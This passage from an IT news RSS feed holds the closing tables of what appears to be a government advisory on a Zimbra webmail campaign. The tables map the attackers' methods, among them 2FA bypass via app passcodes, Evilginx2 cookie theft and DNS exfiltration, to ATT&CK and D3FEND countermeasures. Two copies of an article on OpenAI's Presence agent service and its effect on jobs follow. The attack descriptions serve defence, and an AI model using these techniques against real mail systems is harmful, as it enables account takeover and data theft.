<p><a href="https://attack.mitre.org/versions/v19/techniques/T1550/004/" target="_blank"><u>T1550.004</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previous campaigns using AiTM leveraged stealing and use of a victim’s session cookies to authenticate. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 16: Credential Access </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Modify Authentication Process: Multi-Factor Authentication </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank"><u>T1556.006</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Adversary-in-the-Middle </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1557/" target="_blank"><u>T1557</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previous campaigns used Evilginx2 as an AiTM toolkit to intercept credentials and session cookies. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 17: Collection </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Data Staged: Remote Data Staging </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1074/002/" target="_blank"><u>T1074.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltrated data was sent to an actor-controlled VPS prior to assumed long-term storage solutions. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Email Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1114/" target="_blank"><u>T1114</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group has emphasized collection of emails. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Email Collection: Remote Email Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1114/002/" target="_blank"><u>T1114.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Emails are collected via API calls to the ZCS mail server and are not collected from emails stored directly on the victim’s device. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Automated Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1119/" target="_blank"><u>T1119</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Upon execution, the JavaScript payload automatically collects all relevant information in stages. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Browser Session Hijacking </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1185/" target="_blank"><u>T1185</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The JavaScript payload leverages the user’s authenticated browser session to make API requests as the user. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Archive Collected Data </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1560/" target="_blank"><u>T1560</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Emails are exfiltrated with GZIP compression. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 18: Discovery </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Account Discovery </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1087/" target="_blank"><u>T1087</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Stolen Global Access Lists provide the group with new users to target. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 19: Exfiltration </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/" target="_blank"><u>T1048</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Victim information was exfiltrated over both HTTPS and DNS. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/002/" target="_blank"><u>T1048.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Some payloads, especially ones with large amounts of data, were exfiltrated over HTTPS. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/003/" target="_blank"><u>T1048.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Some smaller bandwidth payloads were exfiltrated over DNS using Base32 encoding. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<h2><strong>Appendix B: MITRE D3FEND countermeasures </strong><a class="ck-anchor"></a></h2>
<p>See <a href="https://www.cisa.gov/#table20"><strong>Table 20</strong></a> for a mapping of several of the cybersecurity countermeasures mentioned in this advisory. <a class="ck-anchor"></a></p>
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<div class="TableContainer Ltr SCXW46665017 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 20: MITRE D3FEND Countermeasures </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>Countermeasure Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>Description</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Application Hardening </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening" target="_blank"><u>D3-AH</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should immediately prioritize patching <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank"><u>CVE-2025-66376</u></a>.  </li>
<li>Organizations should promptly apply software updates to all email systems. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Isolate </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/tactic/d3f:Isolate/" target="_blank"><u>d3f:Isolate</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations that cannot feasibly patch should use alternative mail clients. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Credential Hardening </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:CredentialHardening" target="_blank"><u>D3-CH</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should consider using a third-party authentication service that supports passkeys to mediate access to ZCS and other services that do not natively support passkeys. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Network Traffic Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficAnalysis" target="_blank"><u>D3-NTA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should monitor for significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>DNS Traffic Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:DNSTrafficAnalysis" target="_blank"><u>D3-DNSTA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should monitor for frequent DNS queries to a suspicious domain for seemingly random subdomains. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Network Traffic Community Deviation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation" target="_blank"><u>D3-NTCD</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should monitor for a sudden spike of connections to a server associated with a recently established domain. </li>
<li>Organizations should monitor for connections to internal services, such as webmail, from VPN providers. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Identifier Activity Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:IdentifierActivityAnalysis" target="_blank"><u>D3-IAA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should search for the listed known IOCs. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Process Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank"><u>D3-PA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should search ZCS log files for specific commands used by the malicious script. </li>
<li>Organizations should search the localStorage property in web browsers for the ZCS webmail client for “ZimbraWeb” Application Passcodes. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>Message Analysis</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:MessageAnalysis">D3-MA</a></td>
<td>Organizations that suspect they have victims of this campaign should search for emails with a malicious payload to identify other victims.</td>
</tr>
</tbody>
</table>
</div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[OpenAI Presence raises new questions about enterprise automation and jobs]]></title>
<description><![CDATA[OpenAI has launched Presence, an enterprise service for deploying voice and chat agents that can resolve customer and employee requests, potentially automating some work now handled by frontline support teams.



The agents can answer questions and operate IT systems, and enterprises can decide w...]]></description>
<link>https://tsecurity.de/de/3689165/it-nachrichten/openai-presence-raises-new-questions-about-enterprise-automation-and-jobs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689165/it-nachrichten/openai-presence-raises-new-questions-about-enterprise-automation-and-jobs/</guid>
<pubDate>Thu, 23 Jul 2026 15:20:41 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">OpenAI has launched Presence, an enterprise service for deploying voice and chat agents that can resolve customer and employee requests, potentially automating some work now handled by frontline support teams.</p>



<p class="wp-block-paragraph">The agents can answer questions and operate IT systems, and enterprises can decide what actions the agents may take and when they should seek human approval for actions or transfer a case to a human.</p>



<p class="wp-block-paragraph">OpenAI is already using Presence internally for its English-language phone support channel, where it verifies callers and uses account information to complete approved actions. The company said the system resolves 75% of inbound issues without human assistance.</p>



<p class="wp-block-paragraph">Another OpenAI service, Codex, can be used to monitor agents and suggest updates or improvements to processes. In OpenAI’s own tests, suggestions from Codex helped reduce handoffs to humans by 15 percentage points over 10 days, it said. Presence also includes simulation and evaluation tools that allow companies to test an agent before deployment. The tests assess whether it reaches the correct outcome, follows company policy, and hands a case to an employee when required.</p>



<p class="wp-block-paragraph">OpenAI intends each Presence deployment to deal with one kind of task, for example billing issues, insurance claims, or employee IT service requests, with agents getting only the knowledge and system access required for that task.</p>



<p class="wp-block-paragraph">Presence is not a self-service product: Enterprises will have to sign up for the limited availability program, with integration performed by OpenAI or selected <a href="https://www.computerworld.com/article/4136024/openai-partners-with-consulting-giants-to-deploy-enterprise-ai-agents.html">global systems integrators</a>.</p>



<p class="wp-block-paragraph">Companies exploring or testing Presence include Spanish bank BBVA, which is evaluating the service for everyday banking support in Mexico, and Japanese technology group SoftBank, which is using it in trials involving Japanese-language customer interactions. Australian insurer IAG is assessing whether the technology can help it respond to surges in customer demand during severe weather events.</p>



<h2 class="wp-block-heading">Workforce impact</h2>



<p class="wp-block-paragraph">OpenAI’s announcement did not address the potential effect of Presence on employment. But its claimed automation rate raises questions about how the technology could affect staffing in customer service and other support functions.</p>



<p class="wp-block-paragraph"><a href="https://pareekh.com/" target="_blank" rel="noreferrer noopener">Pareekh Jain</a>, CEO of Pareekh Consulting, said CIOs should regard the 75% figure as evidence that the technology can work, rather than as a benchmark that every enterprise can expect to reach.</p>



<p class="wp-block-paragraph">Jain said OpenAI’s deployment benefits from being built around the company’s own products and data. Large enterprises may achieve lower automation rates because they must contend with fragmented legacy systems, uneven knowledge bases and more complex compliance demands.</p>



<p class="wp-block-paragraph">“Most organizations should expect lower initial automation levels that improve over time as the AI agent is refined,” Jain said.</p>



<p class="wp-block-paragraph">The first workforce effect is more likely to be <a href="https://www.cio.com/article/4015750/cios-see-ai-prompting-new-it-hiring-even-as-boards-push-for-job-cuts.html">slower hiring than immediate layoffs</a>, according to <a href="https://www.linkedin.com/in/tulikasheel/" target="_blank" rel="noreferrer noopener">Tulika Sheel</a>, senior vice president at Kadence International.</p>



<p class="wp-block-paragraph">“The roles most exposed are likely to be repetitive, high-volume functions such as frontline customer support and routine back-office processing,” Sheel said. “However, I would expect the first impact to be on hiring and team growth rather than immediate large-scale job cuts. Over time, enterprises may redesign roles around AI-assisted workflows, with humans focusing more on complex cases, escalation, and relationship management.”</p>



<p class="wp-block-paragraph">Jain said Tier-1 support agents handling predictable queries would face the most exposure. Broader reductions would become more likely only after companies reorganize their operations around the technology.</p>



<p class="wp-block-paragraph">However, <a href="https://omdia.tech.informa.com/authors/lian-jye-su" target="_blank" rel="noreferrer noopener">Lian Jye Su</a>, chief analyst at Omdia, said Presence is unlikely to increase the threat of job displacement because companies have used similar customer-support automation from vendors such as Genesys, NiCE, Five9 and AWS for years.</p>



<p class="wp-block-paragraph">Enterprises are more likely to use Presence alongside employees, with AI handling routine requests while people remain responsible for work requiring judgment and empathy, Su said.</p>



<h2 class="wp-block-heading">Cost and operational risks</h2>



<p class="wp-block-paragraph">Analysts said CIOs should examine whether Presence can maintain resolution quality as usage grows, since fewer human handoffs could leave employees dealing with a more difficult mix of cases.</p>



<p class="wp-block-paragraph">“The key question is not simply how many tasks AI can handle, but whether it can handle them reliably at scale,” Sheel said.</p>



<p class="wp-block-paragraph">The financial case will depend partly on the cost of connecting Presence to existing systems and maintaining the controls needed to govern its use, according to Jain. “Often the biggest cost of enterprise AI is not tokens but <a href="https://www.computerworld.com/article/4128310/openai-responds-to-claude-cowork-with-its-own-platform-to-help-build-deploy-and-manage-ai-agents.html">integration and governance</a>,” Jain added.</p>



<p class="wp-block-paragraph">Companies will need to determine what systems and data the agents can access, monitor their performance, and audit the actions they take. Those investments could offset early savings.</p>



<p class="wp-block-paragraph">Su said the complexity of enterprise IT will make it difficult for OpenAI to automate entire workflows on its own. Enterprises will still need to work with other technology providers and human employees, while CIOs will favor systems that can be audited and integrated with existing infrastructure.</p>



<p class="wp-block-paragraph">Jain said the economics could improve if companies use the same integrations and governance controls across additional workflows.</p>
</div></div></div></div>]]></content:encoded>
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<title><![CDATA[OpenAI Presence raises new questions about enterprise automation and jobs]]></title>
<description><![CDATA[OpenAI has launched Presence, an enterprise service for deploying voice and chat agents that can resolve customer and employee requests, potentially automating some work now handled by frontline support teams.



The agents can answer questions and operate IT systems, and enterprises can decide w...]]></description>
<link>https://tsecurity.de/de/3689164/it-nachrichten/openai-presence-raises-new-questions-about-enterprise-automation-and-jobs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689164/it-nachrichten/openai-presence-raises-new-questions-about-enterprise-automation-and-jobs/</guid>
<pubDate>Thu, 23 Jul 2026 15:20:32 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">OpenAI has launched Presence, an enterprise service for deploying voice and chat agents that can resolve customer and employee requests, potentially automating some work now handled by frontline support teams.</p>



<p class="wp-block-paragraph">The agents can answer questions and operate IT systems, and enterprises can decide what actions the agents may take and when they should seek human approval for actions or transfer a case to a human.</p>



<p class="wp-block-paragraph">OpenAI is already using Presence internally for its English-language phone support channel, where it verifies callers and uses account information to complete approved actions. The company said the system resolves 75% of inbound issues without human assistance.</p>



<p class="wp-block-paragraph">Another OpenAI service, Codex, can be used to monitor agents and suggest updates or improvements to processes. In OpenAI’s own tests, suggestions from Codex helped reduce handoffs to humans by 15 percentage points over 10 days, it said. Presence also includes simulation and evaluation tools that allow companies to test an agent before deployment. The tests assess whether it reaches the correct outcome, follows company policy, and hands a case to an employee when required.</p>



<p class="wp-block-paragraph">OpenAI intends each Presence deployment to deal with one kind of task, for example billing issues, insurance claims, or employee IT service requests, with agents getting only the knowledge and system access required for that task.</p>



<p class="wp-block-paragraph">Presence is not a self-service product: Enterprises will have to sign up for the limited availability program, with integration performed by OpenAI or selected <a href="https://www.computerworld.com/article/4136024/openai-partners-with-consulting-giants-to-deploy-enterprise-ai-agents.html">global systems integrators</a>.</p>



<p class="wp-block-paragraph">Companies exploring or testing Presence include Spanish bank BBVA, which is evaluating the service for everyday banking support in Mexico, and Japanese technology group SoftBank, which is using it in trials involving Japanese-language customer interactions. Australian insurer IAG is assessing whether the technology can help it respond to surges in customer demand during severe weather events.</p>



<h2 class="wp-block-heading">Workforce impact</h2>



<p class="wp-block-paragraph">OpenAI’s announcement did not address the potential effect of Presence on employment. But its claimed automation rate raises questions about how the technology could affect staffing in customer service and other support functions.</p>



<p class="wp-block-paragraph"><a href="https://pareekh.com/" target="_blank" rel="noreferrer noopener">Pareekh Jain</a>, CEO of Pareekh Consulting, said CIOs should regard the 75% figure as evidence that the technology can work, rather than as a benchmark that every enterprise can expect to reach.</p>



<p class="wp-block-paragraph">Jain said OpenAI’s deployment benefits from being built around the company’s own products and data. Large enterprises may achieve lower automation rates because they must contend with fragmented legacy systems, uneven knowledge bases and more complex compliance demands.</p>



<p class="wp-block-paragraph">“Most organizations should expect lower initial automation levels that improve over time as the AI agent is refined,” Jain said.</p>



<p class="wp-block-paragraph">The first workforce effect is more likely to be <a href="https://www.cio.com/article/4015750/cios-see-ai-prompting-new-it-hiring-even-as-boards-push-for-job-cuts.html">slower hiring than immediate layoffs</a>, according to <a href="https://www.linkedin.com/in/tulikasheel/" target="_blank" rel="noreferrer noopener">Tulika Sheel</a>, senior vice president at Kadence International.</p>



<p class="wp-block-paragraph">“The roles most exposed are likely to be repetitive, high-volume functions such as frontline customer support and routine back-office processing,” Sheel said. “However, I would expect the first impact to be on hiring and team growth rather than immediate large-scale job cuts. Over time, enterprises may redesign roles around AI-assisted workflows, with humans focusing more on complex cases, escalation, and relationship management.”</p>



<p class="wp-block-paragraph">Jain said Tier-1 support agents handling predictable queries would face the most exposure. Broader reductions would become more likely only after companies reorganize their operations around the technology.</p>



<p class="wp-block-paragraph">However, <a href="https://omdia.tech.informa.com/authors/lian-jye-su" target="_blank" rel="noreferrer noopener">Lian Jye Su</a>, chief analyst at Omdia, said Presence is unlikely to increase the threat of job displacement because companies have used similar customer-support automation from vendors such as Genesys, NiCE, Five9 and AWS for years.</p>



<p class="wp-block-paragraph">Enterprises are more likely to use Presence alongside employees, with AI handling routine requests while people remain responsible for work requiring judgment and empathy, Su said.</p>



<h2 class="wp-block-heading">Cost and operational risks</h2>



<p class="wp-block-paragraph">Analysts said CIOs should examine whether Presence can maintain resolution quality as usage grows, since fewer human handoffs could leave employees dealing with a more difficult mix of cases.</p>



<p class="wp-block-paragraph">“The key question is not simply how many tasks AI can handle, but whether it can handle them reliably at scale,” Sheel said.</p>



